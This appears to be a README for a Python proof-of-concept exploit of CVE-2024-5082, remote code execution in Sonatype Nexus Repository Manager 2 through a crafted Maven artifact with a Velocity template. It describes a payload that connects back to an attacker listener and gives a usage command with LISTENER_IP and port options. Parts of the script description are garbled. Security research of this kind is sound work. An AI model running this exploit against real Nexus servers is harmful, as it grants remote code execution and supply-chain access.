
Sonatype Nexus 2 - Authorized RCE POC
This repository contains a Python proof of concept for CVE-2024-5082, a remote code execution vulnerability in Sonatype Nexus Repository Manager 2.
The vulnerability allows a user with sufficient permission to publish a specially crafted Maven artifact and mark it for processing by the Velocity content generator. When the artifact is retrieved, the embedded Velocity template is evaluated by Nexus and may execute a command in the security context of the Nexus JVM.
According to Sonatype:
The command is executed on the Nexus Repository host.
Downloading the affected artifact from a build server, application server, or developer workstation does not by itself execute the embedded command on that consuming system. However, compromise of a repository manager may create broader supply-chain risk if an attacker later modifies trusted artifacts, build inputs, credentials, or repository configuration.
The script:
maven-metadata.xml file to a selected hosted repository.velocity.The supplied payload creates an outbound TCP connection from the Nexus host to the configured listener address.
The current script uses HTTP Basic Authentication and requires:
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000